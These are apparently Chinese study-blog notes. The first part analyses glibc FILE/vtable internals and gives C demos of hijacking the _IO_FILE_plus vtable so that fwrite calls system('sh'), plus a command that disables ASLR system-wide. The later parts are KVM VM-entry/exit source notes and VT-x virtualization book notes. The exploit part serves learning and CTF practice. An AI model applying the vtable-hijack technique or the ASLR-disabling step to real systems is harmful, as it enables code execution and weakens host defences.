具体代码分析
12345678910111213141516171819202122232425_IO_FILE *__fopen_internal (const char *filename, const char *mode, int is32){ struct locked_FILE { struct _IO_FILE_plus fp;#ifdef _IO_MTSAFE_IO _IO_lock_t lock;#endif struct _IO_wide_data wd; } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE)); //调用malloc分配FILE结构的空间,从这里也可以知道FILE结构存储在堆中 if (new_f == NULL) return NULL;.... _IO_JUMPS (&new_f->fp) = &_IO_file_jumps;//初始化vtable _IO_file_init (&new_f->fp);//调用函数进行进一步初始化操作 if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)//打开目标文件,最后会调用到系统调用open return __fopen_maybe_mmap (&new_f->fp.file); _IO_un_link (&new_f->fp); free (new_f); return NULL;}
fileops.c: _IO_file_init
123456789101112void_IO_new_file_init (struct _IO_FILE_plus *fp){ /* POSIX.1 allows another file handle to be used to change the position of our file descriptor. Hence we actually don't know the actual position before we do the first fseek (and until a following fflush). */ fp->file._offset = _IO_pos_BAD; fp->file._IO_file_flags |= CLOSED_FILEBUF_FLAGS; _IO_link_in (fp);//把新分配的FILE链入_IO_list_all为起始的FILE链表中 fp->file._fileno = -1;}
genops.c 但是这个操作不是会让fp成为头部嘛????????
12345678910111213void_IO_link_in (struct _IO_FILE_plus *fp){ if ((fp->file._flags & _IO_LINKED) == 0) { fp->file._flags |= _IO_LINKED; fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; }}
fread 可以看下参考链接1给的流程图,结合代码来看
libio/iofread.c
fwrite 标准IO库函数,用于向文件流中写入数据, 函数原型如下
1size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
buffer: 是一个指针,对 fwrite 来说,是需要写入文件的数据的地址;
size: 要写入内容的单字节数;
count: 要进行写入 size 字节的数据项的个数;
stream: 目标文件指针;(要写入的文件)
返回值:实际写入的数据项个数 count。
libio/iofwrite.c
12345678910111213141516171819202122_IO_size_t_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp){ _IO_size_t request = size * count; _IO_size_t written = 0; CHECK_FILE (fp, 0); if (request == 0) return 0; _IO_acquire_lock (fp); if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) written = _IO_sputn (fp, (const char *) buf, request); _IO_release_lock (fp); /* We have written all of the input in case the return value indicates this or EOF is returned. The latter is a special case where we simply did not manage to flush the buffer. But the data is in the buffer and therefore written as far as fwrite is concerned. */ if (written == request || written == EOF) return count; else return written / size;}libc_hidden_def (_IO_fwrite)
主要调用了 _IO_sputn 来实现写入的功能, _IO_sputn 位于 _IO_FILE_plus 的 vtable 中,调用这个函数需要首先取出 vtable 中的指针,再跳过去进行调用。 它对应了函数 _IO_new_file_xsputn,咋对应的…
fileops.c
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879_IO_size_t_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n){ const char *s = (const char *) data; _IO_size_t to_do = n; int must_flush = 0; _IO_size_t count = 0; if (n <= 0) return 0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */ /* First figure out how much space is available in the buffer. */ if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { count = f->_IO_buf_end - f->_IO_write_ptr; if (count >= n) { const char *p; for (p = s + n; p > s; ) { if (*--p == '\n') { count = p - s + 1; must_flush = 1; break; } } } } else if (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do;#ifdef _LIBC f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);#else memcpy (f->_IO_write_ptr, s, count); f->_IO_write_ptr += count;#endif s += count; to_do -= count; } if (to_do + must_flush > 0) { _IO_size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; /* Try to maintain alignment: write a whole number of blocks. */ block_size = f->_IO_buf_end - f->_IO_buf_base; do_write = to_do - (block_size >= 128 ? to_do % block_size : 0); if (do_write) { count = new_do_write (f, s, do_write); to_do -= count; if (count < do_write) return n - to_do; } /* Now write out the remainder. Normally, this will fit in the buffer, but it's somewhat messier for line-buffered files, so we let _IO_default_xsputn handle the general case. */ if (to_do) to_do -= _IO_default_xsputn (f, s+do_write, to_do); } return n - to_do;}libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
这里主要会调用同样位于vtable中的_IO_OVERFLOW,对应函数是 _IO_new_file_overflow
fileops.c
12345678910111213int_IO_new_file_overflow (_IO_FILE *f, int ch){........... if (ch == EOF) return _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base); if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */ if (_IO_do_flush (f) == EOF) return EOF;..........}libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
在这里会最终调用write系统调用
fclose伪造 劫持 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
奇怪,必须要加\n , 和缓冲区刷新有关
gcc -g 可以在调试的时候….
12345678910111213141516#include <stdio.h>int main(void){ FILE *fp; long long *vtable_ptr; fp=fopen("123.txt","rw"); vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable printf("vtable_ptr: %p\n", (void*)vtable_ptr); // 打印vtable_ptr的值 printf("addr1:%p\n", (void*)vtable_ptr); // 打印vtable_ptr的值 printf("addr2:%p\n ",(void*)vtable_ptr); vtable_ptr[7]=0x41414141; //xsputn printf("call 0x41414141");}
但是在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。不过,通过在可控的内存中伪造 vtable 的方法依然可以实现利用。
vtable_addr[0]位于堆中,可以写,这样就相当于要伪造整个vtable表
示例代码 system_ptr根据实际情况修改
1234567891011121314151617181920212223#include <stdio.h>#define system_ptr 0x7ffff7a523a0;int main(void){ FILE *fp; long long *vtable_addr,*fake_vtable; fp=fopen("123.txt","rw"); fake_vtable=malloc(0x40); vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset vtable_addr[0]=(long long)fake_vtable; memcpy(fp,"sh",3); fake_vtable[7]=system_ptr; //xsputn fwrite("hi",2,1,fp);}
可以看到伪造效果,vtable被覆盖为堆上的地址了
fake_vtable[7]=system_ptr; 再把堆上相应内容改成system的地址就可以了
本地尝试不成功,但在gdb中调试的时候是成功的,怀疑是随机化的问题,关闭随机化就可以了
1echo 0 > /proc/sys/kernel/randomize_va_space
参考链接https://blog.csdn.net/qq_45323960/article/details/123810198 大部分图都是参考的这个师傅的,写得非常好! 推荐看原文
ctf-wiki
https://blog.csdn.net/xy_369/article/details/130874848
虚拟化入门-2-KVM源码分析之上下文切换的执行流-内核4.4版本
这里应该有两部分,一部分是,host如何进入guest,进入的时候保存了什么,加载了什么,怎么进行的切换,第二部分是guest在运行的时候,什么情况下会进行退出,切换到host,这个时候又需要保存什么,恢复什么
关于指令的运行, 我理解的如果不是敏感指令,在CPU转为guest状态后,就在物理CPU上执行虚拟机的指令,此时像内存,页表,各种寄存器等也都切换成虚拟机的了,所以就相当于一台真正的机器在运行,不会受到什么影响,只是当遇到敏感指令时,就需要vmexit退出进行特殊处理了
host进入guest | 开始运行虚拟机指令 QEMU中VCPU线程函数为qemu_kvm_cpu_thread_fn(cpus.c),该函数内部有一个循环,执行虚拟机代码,先用cpu_can_run判断是否可以运行,可以的话,进入VCPU执行的核心函数kvm_cpu_exec
VCPU执行的核心函数 kvm_cpu_exec 核心是一个 do while循环,会用kvm_vcpu_ioctl(cpu,KVM_RUN,0)使CPU运行起来, 如果遇到VM Exit,需要qemu处理的话,会返回到这里,让QEMU进行处理.
ioctl(KVM_RUN)是KVM进行处理的,它对应的处理函数是kvm_arch_vcpu_ioctl_run,该函数主要调用vcpu_run
kvm/x86.c
123456int kvm_arch_vcpu_ioctl_run(struct kvm_vcpu *vcpu, struct kvm_run *kvm_run){..... r = vcpu_run(vcpu); ...}
vcpu_runkvm/x86.c
12345678910111213141516171819202122static int vcpu_run(struct kvm_vcpu *vcpu){ int r; struct kvm *kvm = vcpu->kvm; vcpu->srcu_idx = srcu_read_lock(&kvm->srcu); for (;;) { if (kvm_vcpu_running(vcpu)) { r = vcpu_enter_guest(vcpu); } else { r = vcpu_block(kvm, vcpu); } if (r <= 0) break;................ kvm_check_async_pf_completion(vcpu);........}
vcpu_run的函数的主体结构也是一个循环,首先调用kvm_vcpu_running判断当前CPU是否可运行
如果判断是可运行的,则会调用vcpu_enter_guest来进入虚拟机
vcpu_enter_guestkvm/x86.c
在最开始会对vcpu->requests上的请求进行处理,这些请求可能来自多个地方,比如在处理VM Exit时,KVM在运行时需要修改虚拟机状态时等,这些请求都在即将进入guest的时候进行处理
123456789101112131415static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ int r; bool req_int_win = dm_request_for_irq_injection(vcpu) && kvm_cpu_accept_dm_intr(vcpu); bool req_immediate_exit = false; if (vcpu->requests) { if (kvm_check_request(KVM_REQ_MMU_RELOAD, vcpu)) kvm_mmu_unload(vcpu); ............. }
接下来会处理虚拟终端相关请求,然后调用kvm_mmu_reload,与内存设置相关
12345 if (kvm_check_request(KVM_REQ_EVENT, vcpu) || req_int_win) { kvm_apic_accept_events(vcpu);............ r = kvm_mmu_reload(vcpu);
然后设置禁止抢占,之后调用回调函数prepare_guest_switch,vmx对应的函数是vmx_save_host_state, 从名称就可以推测,是准备要进入guest了,此时需要保存host的状态.
123preempt_disable();kvm_x86_ops->prepare_guest_switch(vcpu);
vmx_save_host_state(保存host的信息) 能够看到这个函数里面有很多savesegment和vmcs_write的操作,用来保存host的状态信息。
vmx_vcpu_run(进入guest模式) 紧接着的函数是vmx的run回调,对应的函数时vmx_vcpu_run
x86.c
1kvm_x86_ops->run(vcpu);
该函数首先根据VCPU的状态写一些VMCS的值,然后执行汇编ASM_VMX_VMLAUNCH将CPU置于guest模式,这个时候CPU就开始执行虚拟机的代码
vmx.c
123456789101112131415static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->__launched = vmx->loaded_vmcs->launched; asm( /* Store host registers */ "push %%" _ASM_DX "; push %%" _ASM_BP ";"..... ...... /* Enter guest mode */ "jne 1f \n\t" __ex(ASM_VMX_VMLAUNCH) "\n\t" "jmp 2f \n\t" "1: " __ex(ASM_VMX_VMRESUME) "\n\t"
guest进入host | 回到宿主机进行处理
VM exit 退出 在kvm的vmx_vcpu_run函数里面执行了ASM_VMX_VMLAUNCH,将CPU置于guest模式,开始运行虚拟机的代码,当后面遇到敏感指令的时候,CPU产生VMExit,此时KVM接管CPU,就会跳到下一行代码,jmp 2f,也就是跳到标号2的地方,看注释很明显,保存guest的寄存器,恢复host的,要进行切换( 不过目前也不完全是这样,
12345678910111213141516171819static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->__launched = vmx->loaded_vmcs->launched; asm( /* Store host registers */ "push %%" _ASM_DX "; push %%" _ASM_BP ";"..... ....../* Enter guest mode */ "jne 1f \n\t" __ex(ASM_VMX_VMLAUNCH) "\n\t" "jmp 2f \n\t" "1: " __ex(ASM_VMX_VMRESUME) "\n\t" "2: " /* Save guest registers, load host registers, keep flags */ "mov %0, %c[wordsize](%%" _ASM_SP ") \n\t" "pop %0 \n\t" "setbe %c[fail](%0)\n\t"
调用vmcs_read32读取虚拟机退出的原因,保存在vcpu_vmx结构体的exit_reason成员中
12345678static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu){ ........vmx->exit_reason = vmcs_read32(VM_EXIT_REASON); .... vmx_complete_atomic_exit(vmx); vmx_recover_nmi_blocking(vmx); vmx_complete_interrupts(vmx);
最后调用3个函数对本次退出进行预处理
回到vcpu_enter_guest进行退出的详细处理 当vmx_vcpu_run运行结束,回到vcpu_enter_guest函数,
x86.c
12345678910static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ .... kvm_x86_ops->run(vcpu); //vmx_vcpu_run .... /* Interrupt is enabled by handle_external_intr() */ kvm_x86_ops->handle_external_intr(vcpu); .... r = kvm_x86_ops->handle_exit(vcpu); return r;
虚拟机退出之后会调用vmx实现的handle_external_intr回调来处理外部中断,并调用handle_exit回调来处理各种退出事件
vmx_handle_external_intr handle_external_intr 对应vmx_handle_external_intr
读取中断信息,判断是否是有效的中断,如果是,读取中断号vector,然后得到宿主机中对应IDT的中断门描述符,最后一段汇编用来执行处理函数,vmx_handle_external_intr会开启中断
也就是说,CPU在guest模式运行时,中断是关闭的,运行着虚拟机代码的CPU不会接收到外部中断,但是外部中断会导致CPU退出guest模式,进入VMX root模式
vmx.c
123456789101112131415161718192021222324252627282930313233343536373839404142434445static void vmx_handle_external_intr(struct kvm_vcpu *vcpu){ u32 exit_intr_info = vmcs_read32(VM_EXIT_INTR_INFO); /* * If external interrupt exists, IF bit is set in rflags/eflags on the * interrupt stack frame, and interrupt will be enabled on a return * from interrupt handler. */ if ((exit_intr_info & (INTR_INFO_VALID_MASK | INTR_INFO_INTR_TYPE_MASK)) == (INTR_INFO_VALID_MASK | INTR_TYPE_EXT_INTR)) { unsigned int vector; unsigned long entry; gate_desc *desc; struct vcpu_vmx *vmx = to_vmx(vcpu);#ifdef CONFIG_X86_64 unsigned long tmp;#endif vector = exit_intr_info & INTR_INFO_VECTOR_MASK; desc = (gate_desc *)vmx->host_idt_base + vector; entry = gate_offset(*desc); asm volatile(#ifdef CONFIG_X86_64 "mov %%" _ASM_SP ", %[sp]\n\t" "and $0xfffffffffffffff0, %%" _ASM_SP "\n\t" "push $%c[ss]\n\t" "push %[sp]\n\t"#endif "pushf\n\t" "orl $0x200, (%%" _ASM_SP ")\n\t" __ASM_SIZE(push) " $%c[cs]\n\t" CALL_NOSPEC :#ifdef CONFIG_X86_64 [sp]"=&r"(tmp)#endif : THUNK_TARGET(entry), [ss]"i"(__KERNEL_DS), [cs]"i"(__KERNEL_CS) ); } else local_irq_enable();}
如果不是呢????调用local_irq_enable();
vm_handle_exit 执行完vmx_handle_external_intr后继续执行vcpu_enter_guest(x86.c)
12345678910static int vcpu_enter_guest(struct kvm_vcpu *vcpu){ .... kvm_x86_ops->run(vcpu); //vmx_vcpu_run .... /* Interrupt is enabled by handle_external_intr() */ kvm_x86_ops->handle_external_intr(vcpu); .... r = kvm_x86_ops->handle_exit(vcpu); return r;
从上面可知,外部中断的处理时在handle_exit之前进行的,所以在后面handle_exit中处理外部中断的时候就没什么太多要做的了。
handle_exit 对应 vmx_handle_exit 函数,它是退出事件总的分发处理函数,在对一些特殊情况进行判断之后根据突出原因调用了kvm_vmx_exit_handlers中定义的相应的分发函数
vmx.c
1234567891011121314151617static int vmx_handle_exit(struct kvm_vcpu *vcpu){ struct vcpu_vmx *vmx = to_vmx(vcpu); u32 exit_reason = vmx->exit_reason; u32 vectoring_info = vmx->idt_vectoring_info;................... if (exit_reason < kvm_vmx_max_exit_handlers && kvm_vmx_exit_handlers[exit_reason]) return kvm_vmx_exit_handlers[exit_reason](vcpu); else { WARN_ONCE(1, "vmx: unexpected exit reason 0x%x\n", exit_reason); kvm_queue_exception(vcpu, UD_VECTOR); return 1; }
可以看到一个关键的地方, 传入退出的原因,然后进行选择处理函数
12&& kvm_vmx_exit_handlers[exit_reason]) return kvm_vmx_exit_handlers[exit_reason](vcpu);
kvm_vmx_exit_handlers中的EXIT_REASON_XXXX宏定义了退出的原因,对应的handle_xxx则定义了相应的处理函数
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748static int (*const kvm_vmx_exit_handlers[])(struct kvm_vcpu *vcpu) = { [EXIT_REASON_EXCEPTION_NMI] = handle_exception, [EXIT_REASON_EXTERNAL_INTERRUPT] = handle_external_interrupt, [EXIT_REASON_TRIPLE_FAULT] = handle_triple_fault, [EXIT_REASON_NMI_WINDOW] = handle_nmi_window, [EXIT_REASON_IO_INSTRUCTION] = handle_io, [EXIT_REASON_CR_ACCESS] = handle_cr, [EXIT_REASON_DR_ACCESS] = handle_dr, [EXIT_REASON_CPUID] = handle_cpuid, [EXIT_REASON_MSR_READ] = handle_rdmsr, [EXIT_REASON_MSR_WRITE] = handle_wrmsr, [EXIT_REASON_PENDING_INTERRUPT] = handle_interrupt_window, [EXIT_REASON_HLT] = handle_halt, [EXIT_REASON_INVD] = handle_invd, [EXIT_REASON_INVLPG] = handle_invlpg, [EXIT_REASON_RDPMC] = handle_rdpmc, [EXIT_REASON_VMCALL] = handle_vmcall, [EXIT_REASON_VMCLEAR] = handle_vmclear, [EXIT_REASON_VMLAUNCH] = handle_vmlaunch, [EXIT_REASON_VMPTRLD] = handle_vmptrld, [EXIT_REASON_VMPTRST] = handle_vmptrst, [EXIT_REASON_VMREAD] = handle_vmread, [EXIT_REASON_VMRESUME] = handle_vmresume, [EXIT_REASON_VMWRITE] = handle_vmwrite, [EXIT_REASON_VMOFF] = handle_vmoff, [EXIT_REASON_VMON] = handle_vmon, [EXIT_REASON_TPR_BELOW_THRESHOLD] = handle_tpr_below_threshold, [EXIT_REASON_APIC_ACCESS] = handle_apic_access, [EXIT_REASON_APIC_WRITE] = handle_apic_write, [EXIT_REASON_EOI_INDUCED] = handle_apic_eoi_induced, [EXIT_REASON_WBINVD] = handle_wbinvd, [EXIT_REASON_XSETBV] = handle_xsetbv, [EXIT_REASON_TASK_SWITCH] = handle_task_switch, [EXIT_REASON_MCE_DURING_VMENTRY] = handle_machine_check, [EXIT_REASON_EPT_VIOLATION] = handle_ept_violation, [EXIT_REASON_EPT_MISCONFIG] = handle_ept_misconfig, [EXIT_REASON_PAUSE_INSTRUCTION] = handle_pause, [EXIT_REASON_MWAIT_INSTRUCTION] = handle_mwait, [EXIT_REASON_MONITOR_TRAP_FLAG] = handle_monitor_trap, [EXIT_REASON_MONITOR_INSTRUCTION] = handle_monitor, [EXIT_REASON_INVEPT] = handle_invept, [EXIT_REASON_INVVPID] = handle_invvpid, [EXIT_REASON_XSAVES] = handle_xsaves, [EXIT_REASON_XRSTORS] = handle_xrstors, [EXIT_REASON_PML_FULL] = handle_pml_full, [EXIT_REASON_PCOMMIT] = handle_pcommit,};
对应的处理函数怎么找呢??? 在哪里呢? 搜了一下,搜的几个都还是在这个vmx.c文件里
有的退出事件KVM能够自己处理,这个时候就直接处理然后返回,准备下一轮的VCPU运行,如果KVM无法处理,则需要将事件分发到QEMU进行处理
自己处理的例子: handle_cpuid 看代码,它的原理是查询之前QEMU的设置,然后直接返回,只需要通过KVM就可以完成. 返回1,这个值也作为vcpu_enter_guest的返回值, 为1表示不需要让虚拟机回到QEMU
12345static int handle_cpuid(struct kvm_vcpu *vcpu){ kvm_emulate_cpuid(vcpu); return 1;}
需要返回QEMU处理的例子 handle_io 对该函数进行一路追踪,能看到最后返回了0,所以需要返回QEMU进行处理
123456static int handle_io(struct kvm_vcpu *vcpu){..... return kvm_fast_pio_out(vcpu, size, port);}
返回退出的代码如下, r==0的话会进入break,导致该函数退出 for循环,进而使得ioctl返回用户态
123456789101112static int vcpu_run(struct kvm_vcpu *vcpu){ ...... for (;;) { if (kvm_vcpu_running(vcpu)) { r = vcpu_enter_guest(vcpu); } else { r = vcpu_block(kvm, vcpu); } if (r <= 0) break;
也就是返回到了kvm_arch_vcpu_ioctl_run,再进行返回,就到了QEMU里面了.
在QEMU里面处理完之后再次通过host进入guest的流程,
虚拟化入门-1-CPU虚拟化
研究组的方向是虚拟化…研一一直在学pwn(都还没入门..惭愧). 刚回所里,有师兄带一下,学一下虚拟化, 接触了一点感觉还不错,挺有意思的, 主要是 操作系统层面的东西. 或许后面可以作为主要方向来做.
下面的内容都是来自《系统虚拟化:原理与实现》,作为虚拟化的概念入门还是不错的感觉
主要是了解了虚拟化基础的概念之后,学习intel的 VT虚拟化技术
第三章 虚拟化概述虚拟机的三个典型特征:同质、高效、资源受控。
大多数计算机体系结构都有两个及以上的特权级,用来分隔系统软件和应用软件。系统中有一些操作和管理关键系统资源的指令被定位特权指令,只有在最高特权级上能够正确执行。如果在非最高特权级上运行,特权指令会引发一个异常,处理器会陷入最高特权级,交由系统软件来处理。
在虚拟化世界中,有一类指令成为敏感指令,简而言之是操作特权资源的指令。所有的特权指令都是敏感指令,但不是所有的敏感指令都是特权指令。
判断一个结构是否可以虚拟化,核心在于对敏感指令的支持,如果在某些结构上所有敏感指令都是特权指令,则它是可虚拟化的结构,否则,如果它无法支持在所有的敏感指令上触发异常,则不是一个可虚拟化的机构,称其存在“虚拟化漏洞”
通过陷入再模拟指令的执行来实现虚拟机的方法是前提条件的:所有的敏感指令都必须是特权指令。如果不满足的话就会有遗漏,此时需要想办法来填补或者避免这些遗漏。
3.2 处理器虚拟化 处理器虚拟化是VMM中最核心的部分,因为访问内存或者I/O的指令本身就是敏感指令,所以内存虚拟化与I/O虚拟化都依赖于处理器虚拟化的正确实现。
指令的模拟 因为特权级的存在,敏感指令需要陷入到VMM中通过软件的方式进行模拟。
三个概念:虚拟寄存器、上下文和虚拟处理器
当客户机操作系统试图访问关键资源的时候,该请求并不会真正发生在物理寄存器上。相反,VMM会通过准确模拟物理处理器的行为,而将其访问定位到VMM为其设计与物理寄存器对应的“虚拟”的寄存器上。(对VMM来说,这样的虚拟寄存器往往是在内存中。)
一个案例,不论是对CR0的修改还是访问,都会经过处理器抛出异常,由VMM操作对应的虚拟CR0。
在没有虚拟化的环境中,os直接负责物理处理器管理,负责进程间的调度和切换。在VMM接管物理处理器后,客户机操作系统没有管理物理处理器的权利,可以说此时它已经运行在VMM为之设计的虚拟处理器之上,客户机管理虚拟处理器,并在虚拟处理器上负责该虚拟机内进程间调度和切换。
而VMM管理物理处理器,负责虚拟处理器的调度和切换,以保证在给定时间内,每个虚拟处理器上的当前进程可以在物理处理器上运行一段时间。但是,不管是何种调度,必然要涉及到保留现场,这个现场就是上下文状态。
相比进程等上下文,虚拟处理器上下文会更加复杂,因为客户机操作系统本身包含许多敏感指令,会试图访问和修改物理处理器上定义的所有寄存器,但这种访问会和修改会被VMM重定位到虚拟处理器上。所以,对于虚拟处理器,其上下文包括了更多的系统寄存器.当VMM在决定切换虚拟处理器的时候,为了让虚拟机看起来好像从未被中断过一样,VMM需要考虑保存和回复的上下文也更加复杂。
从VMM的角度来说,虚拟处理器是其需要模拟完成的一组功能集合,虚拟处理器的功能可以由物理处理器和VMM共同完成。对于非敏感指令,物理处理器直接解码处理其请求,并将相关的效果直接反应到物理寄存器上,而对于敏感指令,VMM负责陷入再模拟,从程序角度来说就是一组数据结构和相关处理代码的集合。数据结构用于存储虚拟寄存器的内容,而相关处理代码负责按照物理处理器的行为将效果反映到虚拟寄存器上。
上面的概念可以说明,在处理器虚拟化中,不论是定义虚拟寄存器和虚拟处理器还是利用上下文进行虚拟处理器调度切换,其宗旨都是让虚拟机里执行的敏感指令陷入下来以后,能被VMM模拟,而不要直接作用于真实硬件上。
模拟的前提是陷入,需要了解怎么进行陷入,需要陷入的时候,是怎么通知VMM的。概括地说,VMM陷入是利用了处理器的保护机制,利用中断和异常来完成,有以下几种方式:
1.基于处理器保护机制触发的异常,例如敏感指令的执行。
2.虚拟机主动触发异常,即通常所说的陷阱
异步中断,包括处理器内部的中断源和外部的设备中断源
VMM的功能和组成 VMM的主要功能事基于物理资源创建相应的虚拟资源,组成虚拟机,为客户机操作系统提供虚拟的平台。所以,可以推测,VMM基本上可以分为两部分:虚拟环境的管理和物理资源的管理。
虚拟环境的管理物理资源的管理其他模块VMM分类按虚拟平台分类完全虚拟化 虚拟出来的平台和现实平台是一样的,客户机操作系统不用做任何修改就可以运行。重点是VMM要能够正确处理所有可能的指令。
在实现方式上,以x86为例,经历了两个阶段:软件辅助的完全虚拟化和硬件辅助的完全虚拟化
软件辅助的完全虚拟化 早期因为一开始肯定没想要要弄这个,所以硬件上也不会专门适配,所以完全虚拟化需要通过软件来实现。一个典型的做法是优先级压缩和二进制代码翻译相结合。
优先级压缩来处理的话,有部分指令不能触发异常,因此不能截获做处理。而二进制代码翻译就是为了解决这部分指令,它的思想是,通过扫描并修改客户机的二进制代码,将这些指令转换成支持虚拟化的指令。
虽然这种方式能够实现完全虚拟化,但是这种类似于打补丁的方式很难在架构上保证其完整性,于是后期,x86厂商就在硬件上加入了对虚拟化的支持。
硬件辅助的完全虚拟化 很符合计算机的抽象层次的逻辑,当这一层事情比较难解决的时候,就给它再抽象出一层来。Intel的VT-x技术是这一方向的代表,它在处理器上引入了一个新的执行模式用于运行虚拟机。当虚拟机运行在这个特殊模式中时,任何特权操作都会被处理器拦截并报告给VMM。
类虚拟化 在源代码级别(操作系统内核的代码)修改指令以回避虚拟化漏洞的方式来使VMM能够对物理资源实现虚拟化。
按VMM实现结构分类Hypervisor模型、宿主模型、混合模型
第五章 硬件辅助虚拟化 硬件辅助虚拟化,即在CPU、芯片组及I/O设备等硬件中加入专门针对虚拟化的支持,使得系统软件可以更加容易、高效地实现虚拟化功能。本章以intel VT为例。
intel vt分别在CPU、内存、IO虚拟化方面提供了不同的技术,分别对应VT-x、EPT、VT-d。
CPU虚拟化的硬件支持 引入了两种操作模式,统称为VMX模式,每种模式都有0~3的特权级。
根操作模式(VMX Root Operation):VMM运行所处的模式
非根操作模式(VMX Non-Root Operation):客户机运行所处的模式
非根模式下所有敏感指令的行为都会被重新定义,使得他们能不经过虚拟化就能直接运行或者通过“陷入再模拟”的方式来处理,在根模式下,所有指令的行为和传统IA32一样,因此所有软件都能够正常运行。
非根模式下敏感指令引起的“陷入”被称为VM-Exit。这会导致CPU自动从非根模式切换到根模式。相应的,VM-Entry,该操作由VMM发起,通常是调度某个客户机运行,此时CPU从根模式切换到非根模式。
为了更好地支持CPU虚拟化,VT-x引入了VMCS(virtual-Machine Control Structure 。虚拟机控制结构),VMCS保存虚拟CPU需要的相关状态,例如CPU在两种模式下的特权寄存器的值。VMCS主要供CPU使用,CPU在发生VM-Exit和VM-Entry时都会自动查询和更新VMCS。VMM可以通过指令来配置VMCS,进而影响CPU的行为。
VT-x还引入了一组新的指令,包括VMLAUCH/VMRESUME用于发起VM-Entry,VMREAD/VMWRITE用于配置VMCS等
这里有点没看懂。。。
VMCS 与虚拟寄存器的概念类似,可以看作是虚拟寄存器概念在硬件上的应用。VMCS是保存在内存中的数据结构,包含了虚拟CPU的相关寄存器的内容和虚拟CPU相关的控制信息,每个VMCS对应一个虚拟CPU。(换句话说,个人理解的是,物理CPU和虚拟CPU之间的一个媒介,用于保存和恢复切换时的上下文
VMCS在使用时需要和物理CPU绑定。VMCS与物理CPU是一对一绑定的关系。但在不同时刻可以绑定到不同的物理CPU。这种绑定关系的变化称为VMCS的迁移。
VT-x提供了两条指令用于VMCS的绑定与解除绑定
VMPRTLD<VMCS地址>: 将指定的VMCS与执行该指令的物理CPU绑定
VMCLEAR:将执行该指令的物理CPU与它的VMCS解除绑定。该指令会将物理CPU缓存中的VMCS结构同步到内存中去,从而保证VMCS与新的物理CPU绑定时,内存中的值是最新的。
VMCS格式如下:
主要信息放在数据域里面,VT-x提供两条指令用于访问VMCS
VMREAD<索引>: 读VMCS中索引指定的域
VMWRITE<索引><数据>:写VMCS中索引指定的域
VMCS数据域包括六大类信息
客户机状态域
宿主机状态域
VM-Entry控制域
VM-Execution控制域
VM-Exit控制域
VM-Exit信息域
VMX操作模式
VM-Entry 在发起之前,VMM会设置好VMCS相关域的内容,例如客户机状态域、宿主机状态域等,然后执行VM-Entry指令。
VT-x为VM-Entry提供了两条指令
VMLAUNCH: 用于刚执行过VMCLEAER的VMCS的第一次VM-Entry
VMRESUME:用于执行过VMLAUNCH的VMCS的后续VM-Entry
在VM-Entry进入时,会有很多不同的特性和选择,或者说具体行为,由VM-Entry控制域来规定
注入的事件最终是用客户机自己的IDT里面指定的处理函数来处理的,这样在客户机虚拟CPU看来,这些事件就和没有虚拟化的环境里面对应的事件没有任何区别
VM-Entry的过程
执行基本的检查来确保VM-Entry能开始
对VMCS中的宿主机状态域的有效性进行检查,以确保下一次VM-Exit时可以正确地从客户机环境切换到VMM环境
检查VMCS中客户机状态域的有效性,根据客户机状态域来装载处理器的状态
根据VMCS中VM-Entry MSR-load区域装载MSR寄存器
根据VMCS中VM-Entry事件注入控制的配置,可能需要注入事件到客户机
如果1-4步的检查没有全部通过,CPU会报告VM-Entry失败,这通常意味着VMCS中某些字段的设置有错误。如果全部通过了,处理器就会把执行环境从VMM切换到客户机环境,开始执行客户机指令。
VM-Exit 指CPU从非根模式切换到根模式,客户机切换到VMM的操作。因为的原因有很多,例如在非根模式下执行了敏感指令、发生了中断等。处理VM-Exit事件是VMM模拟指令、虚拟特权资源的一大任务。
具体过程
CPU首先将此次VM-Exit的原因信息记录到VMCS相应的信息域中,VM-Entry interruption-information字段的有效位(bit31)被清零。
CPU状态被保存到VMCS客户机状态域。根据设置也可能将客户机的MSR保存到VM-Exit MSR-store区域
根据VMCS中宿主机状态域和VM-Exit控制域中的设计,将宿主机状态加载到CPU相应寄存器。CPU也可能根据VM-Exit MSR-store区域来加载VMM的MSR。
CPU虚拟化的实现硬件虚拟化用VCPU描述符来描述虚拟CPU,类似os中的进程描述符,其本质是一个结构体,
结构如下:
当VMM创建客户机时,首先要为客户机创建VCPU,整个客户机的运行实际上可以看作是VMM调度不同的VCPU运行。
VMCS的创建与初始化
